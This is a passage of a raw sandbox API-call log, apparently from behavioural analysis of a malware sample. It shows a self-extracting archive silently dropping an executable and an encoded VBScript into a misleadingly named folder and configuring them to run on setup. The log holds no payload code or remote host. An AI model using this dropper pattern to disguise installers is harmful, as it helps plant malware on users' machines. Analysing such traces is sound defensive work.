(hDlg=0xa005c, nIDDlgItem=101, lpString="Extracting chainsavesref.exe") returned 1 [0075.611] PeekMessageW (in: lpMsg=0x3b8428, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3b8428) returned 1 [0075.611] GetMessageW (in: lpMsg=0x3b8428, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3b8428) returned 1 [0075.611] IsDialogMessageW (hDlg=0xa005c, lpMsg=0x3b8428) returned 1 [0075.611] FindFirstFileW (in: lpFileName="chainsavesref.exe" (normalized: "c:\\comproviderruntimecommon\\chainsavesref.exe"), lpFindFileData=0x3b85f0 | out: lpFindFileData=0x3b85f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.611] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x3b75cc | out: lpBuffer="C:\\comproviderRuntimecommon") returned 0x1b [0075.611] FindFirstFileW (in: lpFileName="\\\\?\\C:\\comproviderRuntimecommon\\chainsavesref.exe" (normalized: "c:\\comproviderruntimecommon\\chainsavesref.exe"), lpFindFileData=0x3b85f0 | out: lpFindFileData=0x3b85f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.611] GetLastError () returned 0x2 [0075.611] GetFileAttributesW (lpFileName="chainsavesref.exe" (normalized: "c:\\comproviderruntimecommon\\chainsavesref.exe")) returned 0xffffffff [0075.612] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x3b6794 | out: lpBuffer="C:\\comproviderRuntimecommon") returned 0x1b [0075.612] GetFileAttributesW (lpFileName="\\\\?\\C:\\comproviderRuntimecommon\\chainsavesref.exe" (normalized: "c:\\comproviderruntimecommon\\chainsavesref.exe")) returned 0xffffffff [0075.612] CreateFileW (lpFileName="chainsavesref.exe" (normalized: "c:\\comproviderruntimecommon\\chainsavesref.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x150 [0075.612] GetFileType (hFile=0x150) returned 0x1 [0075.612] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x100000) returned 0xdf0020 [0075.613] ReadFile (in: hFile=0x14c, lpBuffer=0xdf0020, nNumberOfBytesToRead=0xcf200, lpNumberOfBytesRead=0x3b97c4, lpOverlapped=0x0 | out: lpBuffer=0xdf0020*, lpNumberOfBytesRead=0x3b97c4*=0xcf200, lpOverlapped=0x0) returned 1 [0075.624] SendDlgItemMessageW (hDlg=0xa005c, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x1f [0075.625] PeekMessageW (in: lpMsg=0x3b976c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3b976c) returned 0 [0075.625] PeekMessageW (in: lpMsg=0x3b97d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3b97d0) returned 0 [0075.625] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0075.625] WriteFile (in: hFile=0x150, lpBuffer=0xdf0020*, nNumberOfBytesToWrite=0xcf200, lpNumberOfBytesWritten=0x3b97f8, lpOverlapped=0x0 | out: lpBuffer=0xdf0020*, lpNumberOfBytesWritten=0x3b97f8*=0xcf200, lpOverlapped=0x0) returned 1 [0075.644] PeekMessageW (in: lpMsg=0x3b97dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3b97dc) returned 1 [0075.644] GetMessageW (in: lpMsg=0x3b97dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3b97dc) returned 1 [0075.644] IsDialogMessageW (hDlg=0xa005c, lpMsg=0x3b97dc) returned 1 [0075.644] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0075.644] SendDlgItemMessageW (hDlg=0xa005c, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0075.644] PeekMessageW (in: lpMsg=0x3b9764, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3b9764) returned 0 [0075.644] PeekMessageW (in: lpMsg=0x3b97c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3b97c8) returned 0 [0075.644] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0075.652] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0xdf0020 | out: hHeap=0x4c0000) returned 1 [0075.661] SetFilePointer (in: hFile=0x14c, lDistanceToMove=1232173, lpDistanceToMoveHigh=0x3b9830*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3b9830*=0) returned 0x12cd2d [0075.661] SetFileTime (hFile=0x150, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x3b983c) returned 1 [0075.661] CloseHandle (hObject=0x150) returned 1 [0075.672] SetFileAttributesW (lpFileName="chainsavesref.exe", dwFileAttributes=0x20) returned 1 [0075.672] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x3bea1c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3bea1c*=0) returned 0x12cd2d [0075.672] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x20) returned 0x552f98 [0075.673] ReadFile (in: hFile=0x14c, lpBuffer=0x552f98, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x3bc8dc, lpOverlapped=0x0 | out: lpBuffer=0x552f98*, lpNumberOfBytesRead=0x3bc8dc*=0x7, lpOverlapped=0x0) returned 1 [0075.673] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x552f98, Size=0x48) returned 0x554e30 [0075.673] ReadFile (in: hFile=0x14c, lpBuffer=0x554e37, nNumberOfBytesToRead=0x32, lpNumberOfBytesRead=0x3bc8dc, lpOverlapped=0x0 | out: lpBuffer=0x554e37*, lpNumberOfBytesRead=0x3bc8dc*=0x32, lpOverlapped=0x0) returned 1 [0075.673] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x554e30 | out: hHeap=0x4c0000) returned 1 [0075.673] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="et1pu6VAlkUOY7GuC90A.vbe", cchCount2=1) returned 1 [0075.673] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="et1pu6VAlkUOY7GuC90A.vbe", cchCount2=-1) returned 1 [0075.673] SetFilePointer (in: hFile=0x14c, lDistanceToMove=1232230, lpDistanceToMoveHigh=0x3b983c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3b983c*=0) returned 0x12cd66 [0075.674] LoadStringW (in: hInstance=0x12d0000, uID=0x65, lpBuffer=0x1313f98, cchBufferMax=1024 | out: lpBuffer="Extracting %s") returned 0xd [0075.674] GetLastError () returned 0x0 [0075.674] SetLastError (dwErrCode=0x0) [0075.674] SetDlgItemTextW (hDlg=0xa005c, nIDDlgItem=101, lpString="Extracting et1pu6VAlkUOY7GuC90A.vbe") returned 1 [0075.674] PeekMessageW (in: lpMsg=0x3b8428, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3b8428) returned 0 [0075.674] FindFirstFileW (in: lpFileName="et1pu6VAlkUOY7GuC90A.vbe" (normalized: "c:\\comproviderruntimecommon\\et1pu6valkuoy7guc90a.vbe"), lpFindFileData=0x3b85f0 | out: lpFindFileData=0x3b85f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.674] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x3b75cc | out: lpBuffer="C:\\comproviderRuntimecommon") returned 0x1b [0075.674] FindFirstFileW (in: lpFileName="\\\\?\\C:\\comproviderRuntimecommon\\et1pu6VAlkUOY7GuC90A.vbe" (normalized: "c:\\comproviderruntimecommon\\et1pu6valkuoy7guc90a.vbe"), lpFindFileData=0x3b85f0 | out: lpFindFileData=0x3b85f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.674] GetLastError () returned 0x2 [0075.675] GetFileAttributesW (lpFileName="et1pu6VAlkUOY7GuC90A.vbe" (normalized: "c:\\comproviderruntimecommon\\et1pu6valkuoy7guc90a.vbe")) returned 0xffffffff [0075.675] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x3b6794 | out: lpBuffer="C:\\comproviderRuntimecommon") returned 0x1b [0075.675] GetFileAttributesW (lpFileName="\\\\?\\C:\\comproviderRuntimecommon\\et1pu6VAlkUOY7GuC90A.vbe" (normalized: "c:\\comproviderruntimecommon\\et1pu6valkuoy7guc90a.vbe")) returned 0xffffffff [0075.675] CreateFileW (lpFileName="et1pu6VAlkUOY7GuC90A.vbe" (normalized: "c:\\comproviderruntimecommon\\et1pu6valkuoy7guc90a.vbe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x150 [0075.692] GetFileType (hFile=0x150) returned 0x1 [0075.692] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x100000) returned 0xdf0020 [0075.693] ReadFile (in: hFile=0x14c, lpBuffer=0xdf0020, nNumberOfBytesToRead=0xdd, lpNumberOfBytesRead=0x3b97c4, lpOverlapped=0x0 | out: lpBuffer=0xdf0020*, lpNumberOfBytesRead=0x3b97c4*=0xdd, lpOverlapped=0x0) returned 1 [0075.693] SendDlgItemMessageW (hDlg=0xa005c, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0075.693] PeekMessageW (in: lpMsg=0x3b976c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3b976c) returned 1 [0075.693] GetMessageW (in: lpMsg=0x3b976c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3b976c) returned 1 [0075.693] IsDialogMessageW (hDlg=0xa005c, lpMsg=0x3b976c) returned 1 [0075.693] PeekMessageW (in: lpMsg=0x3b97d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3b97d0) returned 0 [0075.693] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0075.693] WriteFile (in: hFile=0x150, lpBuffer=0xdf0020*, nNumberOfBytesToWrite=0xdd, lpNumberOfBytesWritten=0x3b97f8, lpOverlapped=0x0 | out: lpBuffer=0xdf0020*, lpNumberOfBytesWritten=0x3b97f8*=0xdd, lpOverlapped=0x0) returned 1 [0075.695] PeekMessageW (in: lpMsg=0x3b97dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3b97dc) returned 0 [0075.695] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0075.695] SendDlgItemMessageW (hDlg=0xa005c, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0075.695] PeekMessageW (in: lpMsg=0x3b9764, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3b9764) returned 0 [0075.695] PeekMessageW (in: lpMsg=0x3b97c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3b97c8) returned 0 [0075.695] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0075.702] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0xdf0020 | out: hHeap=0x4c0000) returned 1 [0075.703] SetFilePointer (in: hFile=0x14c, lDistanceToMove=1232451, lpDistanceToMoveHigh=0x3b9830*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3b9830*=0) returned 0x12ce43 [0075.703] SetFileTime (hFile=0x150, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x3b983c) returned 1 [0075.703] CloseHandle (hObject=0x150) returned 1 [0075.704] SetFileAttributesW (lpFileName="et1pu6VAlkUOY7GuC90A.vbe", dwFileAttributes=0x20) returned 1 [0075.705] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x3bea1c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3bea1c*=0) returned 0x12ce43 [0075.705] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x20) returned 0x552f98 [0075.705] ReadFile (in: hFile=0x14c, lpBuffer=0x552f98, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x3bc8dc, lpOverlapped=0x0 | out: lpBuffer=0x552f98*, lpNumberOfBytesRead=0x3bc8dc*=0x7, lpOverlapped=0x0) returned 1 [0075.705] ReadFile (in: hFile=0x14c, lpBuffer=0x552f9f, nNumberOfBytesToRead=0xc, lpNumberOfBytesRead=0x3bc8dc, lpOverlapped=0x0 | out: lpBuffer=0x552f9f*, lpNumberOfBytesRead=0x3bc8dc*=0xc, lpOverlapped=0x0) returned 1 [0075.706] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x552f98 | out: hHeap=0x4c0000) returned 1 [0075.706] SetFilePointer (in: hFile=0x14c, lDistanceToMove=1232532, lpDistanceToMoveHigh=0x3b9830*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3b9830*=0) returned 0x12ce94 [0075.706] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x3bea1c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3bea1c*=0) returned 0x12ce94 [0075.706] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x20) returned 0x552f98 [0075.706] ReadFile (in: hFile=0x14c, lpBuffer=0x552f98, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x3bc8dc, lpOverlapped=0x0 | out: lpBuffer=0x552f98*, lpNumberOfBytesRead=0x3bc8dc*=0x7, lpOverlapped=0x0) returned 1 [0075.706] ReadFile (in: hFile=0x14c, lpBuffer=0x552f9f, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x3bc8dc, lpOverlapped=0x0 | out: lpBuffer=0x552f9f*, lpNumberOfBytesRead=0x3bc8dc*=0x1, lpOverlapped=0x0) returned 1 [0075.707] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x552f98 | out: hHeap=0x4c0000) returned 1 [0075.707] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x5185a0 | out: hHeap=0x4c0000) returned 1 [0075.707] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x519668 | out: hHeap=0x4c0000) returned 1 [0075.708] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x595fc8 | out: hHeap=0x4c0000) returned 1 [0075.708] CloseHandle (hObject=0x14c) returned 1 [0075.708] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\05379ea4600304f51cffa8d1ee9e3b2931a69129f6bed14d45a500d966a71fca.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\05379ea4600304f51cffa8d1ee9e3b2931a69129f6bed14d45a500d966a71fca.exe"), lpFindFileData=0x3c7520 | out: lpFindFileData=0x3c7520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb11df80, ftCreationTime.dwHighDateTime=0x1d8a929, ftLastAccessTime.dwLowDateTime=0xeb11df80, ftLastAccessTime.dwHighDateTime=0x1d8a929, ftLastWriteTime.dwLowDateTime=0x55b52200, ftLastWriteTime.dwHighDateTime=0x1d8a90e, nFileSizeHigh=0x0, nFileSizeLow=0x12ce9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="05379ea4600304f51cffa8d1ee9e3b2931a69129f6bed14d45a500d966a71fca.exe", cAlternateFileName="05379E~1.EXE")) returned 0x4f76f8 [0075.708] FindClose (in: hFindFile=0x4f76f8 | out: hFindFile=0x4f76f8) returned 1 [0075.709] ReleaseSemaphore (in: hSemaphore=0x1c, lReleaseCount=64, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0075.709] CloseHandle (hObject=0x1c) returned 1 [0075.709] CloseHandle (hObject=0x148) returned 1 [0075.709] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x518260 | out: hHeap=0x4c0000) returned 1 [0075.710] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x510250 | out: hHeap=0x4c0000) returned 1 [0075.719] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x508240 | out: hHeap=0x4c0000) returned 1 [0075.720] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4f9b58 | out: hHeap=0x4c0000) returned 1 [0075.722] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4f79c8 | out: hHeap=0x4c0000) returned 1 [0075.722] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4f8a90 | out: hHeap=0x4c0000) returned 1 [0075.723] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x51a730 | out: hHeap=0x4c0000) returned 1 [0075.723] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x51b290 | out: hHeap=0x4c0000) returned 1 [0075.723] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x3adb94, nSize=0x1000 | out: lpDst="1") returned 0x2 [0075.723] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0075.723] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0075.723] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0075.723] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0075.723] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 2 [0075.723] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x3adb88, nSize=0x1000 | out: lpDst="1") returned 0x2 [0075.723] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0075.723] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0075.724] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0075.724] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0075.724] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0075.724] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 2 [0075.724] ExpandEnvironmentStringsW (in: lpSrc="\"C:/comproviderRuntimecommon/\"", lpDst=0x3adb88, nSize=0x1000 | out: lpDst="\"C:/comproviderRuntimecommon/\"") returned 0x1f [0075.724] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0075.724] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0075.724] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0075.724] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 2 [0075.724] ExpandEnvironmentStringsW (in: lpSrc="et1pu6VAlkUOY7GuC90A.vbe", lpDst=0x3adb88, nSize=0x1000 | out: lpDst="et1pu6VAlkUOY7GuC90A.vbe") returned 0x19 [0075.724] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0075.724] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0075.724] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0075.724] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0075.724] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0075.724] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0075.724] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 2 [0075.724] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0075.724] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0075.724] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0075.724] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0075.724] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0075.724] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0075.725] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0075.725] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0075.725] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0075.725] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0075.725] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0075.725] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0075.725] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0075.725] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0075.725] ExpandEnvironmentStringsW (in: lpSrc="U", lpDst=0x3adb88, nSize=0x1000 | out: lpDst="U") returned 0x2 [0075.725] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0075.725] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 3 [0075.725] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 3 [0075.725] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0075.725] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 3 [0075.725] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0075.725] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 3 [0075.725] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 3 [0075.725] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="License", cchCount2=-1) returned 3 [0075.725] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 3 [0075.725] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 3 [0075.725] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 3 [0075.725] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 2 [0075.726] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x3adb94, nSize=0x1000 | out: lpDst="1") returned 0x2 [0075.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0075.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0075.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0075.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0075.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 2 [0075.726] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x3adb88, nSize=0x1000 | out: lpDst="1") returned 0x2 [0075.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0075.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0075.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0075.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0075.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0075.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 2 [0075.726] ExpandEnvironmentStringsW (in: lpSrc="\"C:/comproviderRuntimecommon/\"", lpDst=0x3adb88, nSize=0x1000 | out: lpDst="\"C:/comproviderRuntimecommon/\"") returned 0x1f [0075.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, 